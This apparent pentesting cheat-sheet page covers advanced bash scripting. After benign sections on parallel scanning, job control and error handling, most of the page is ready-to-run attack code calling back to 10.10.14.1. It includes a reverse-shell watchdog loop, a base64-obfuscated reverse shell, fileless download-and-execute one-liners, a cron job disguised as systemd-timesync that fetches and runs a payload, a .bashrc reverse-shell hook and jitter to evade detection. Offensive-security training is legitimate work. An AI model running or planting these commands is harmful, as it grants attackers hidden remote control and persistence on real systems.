Skip to content

Bash scripting for pentesting - advanced

Builds on bash scripting for pentesting. Covers parallelization, resilience, obfuscation and stealthier persistence.

Parallelizing scans with xargs

1
2
3
4
5
6
# Ping sweep in parallel, 20 workers at a time
seq 1 254 | xargs -P 20 -I {} \
    bash -c 'ping -c 1 -W 1 10.10.10.{} &>/dev/null && echo "10.10.10.{} is up"'

# Port scan a list of hosts in parallel, feeding a target file
cat hosts.txt | xargs -P 10 -I {} nmap -Pn -p- -oN "scan_{}.txt" {}

Background jobs and process management

long_running_task &
pid=$!

# Do other work here...

if kill -0 "$pid" 2>/dev/null; then
    echo "still running"
fi

wait "$pid"
echo "finished with exit code $?"

jobs -l          # list background jobs in the current shell
disown -a        # detach jobs so they survive the shell exiting

Robust error handling and cleanup with trap

#!/usr/bin/env bash
set -euo pipefail

tmpdir=$(mktemp -d)

cleanup() {
    echo "[*] cleaning up $tmpdir"
    rm -rf "$tmpdir"
}
trap cleanup EXIT
trap 'echo "[!] interrupted"; exit 130' INT TERM

# ... use $tmpdir for scratch files during an engagement ...

Retrying flaky network operations

retry() {
    local attempts="$1"; shift
    local delay="$1"; shift
    local n=0

    until "$@"; do
        n=$((n + 1))
        if [[ "$n" -ge "$attempts" ]]; then
            echo "[-] failed after $attempts attempts: $*"
            return 1
        fi
        sleep "$delay"
    done
}

retry 5 3 curl -sf http://10.10.14.1:8000/stage2.sh -o /tmp/.s2

Signal-aware reverse shell watchdog

#!/usr/bin/env bash
# Keeps re-establishing a callback if the connection drops.

target="10.10.14.1"
port=443

while true; do
    bash -i >& "/dev/tcp/$target/$port" 0>&1
    echo "[!] connection lost, retrying in 10s" >&2
    sleep 10
done

Basic obfuscation

1
2
3
4
5
6
7
8
# Base64-encode a payload to slip past naive content filters/logging
payload='bash -i >& /dev/tcp/10.10.14.1/443 0>&1'
encoded=$(echo -n "$payload" | base64 -w0)
echo "echo $encoded | base64 -d | bash"

# Variable/command reassembly to avoid literal strings on disk
a='ba'; b='sh'
$a$b -c 'id'

See bashfuscator and DOSfuscation (Windows equivalent concepts) for tooling that automates this.

Living off the land: avoiding dropped binaries

1
2
3
4
5
6
# Read a remote script into memory and execute without writing to disk
bash <(curl -s http://10.10.14.1:8000/script.sh)
curl -s http://10.10.14.1:8000/script.sh | bash

# Same idea with wget
wget -qO- http://10.10.14.1:8000/script.sh | bash

Stealthier persistence

1
2
3
4
5
# Hide a cron entry with an innocuous-looking comment/name
(crontab -l 2>/dev/null; echo "*/10 * * * * /usr/bin/curl -s http://10.10.14.1:8000/c -o /tmp/.x && bash /tmp/.x #systemd-timesync") | crontab -

# Persistence via a shell profile hook, triggered on every new login shell
echo '(bash -c "bash -i >& /dev/tcp/10.10.14.1/443 0>&1" &) 2>/dev/null' >> ~/.bashrc

Timing and detection evasion basics

1
2
3
4
5
# Jitter between requests to avoid trivial rate-based detections
for target in $(cat targets.txt); do
    curl -s "http://$target/" -o /dev/null
    sleep "$(shuf -i 2-8 -n 1)"
done
Last update: 2026-07-27
Created: July 27, 2026 16:17:23